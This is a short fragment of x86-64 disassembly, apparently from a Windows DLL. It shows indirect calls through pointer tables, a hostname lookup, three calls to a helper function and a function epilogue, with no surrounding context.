mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rbp
call qword [rbp + 0x30]
xor edx, edx
mov rcx, rbp
mov ebx, eax
call qword [rbp + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x30]
mov rcx, rdi
call fcn.1800037c0
mov rcx, r14
call fcn.1800037c0
mov rcx, rbp
call fcn.1800037c0
lea r11, [rsp + 0x60]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret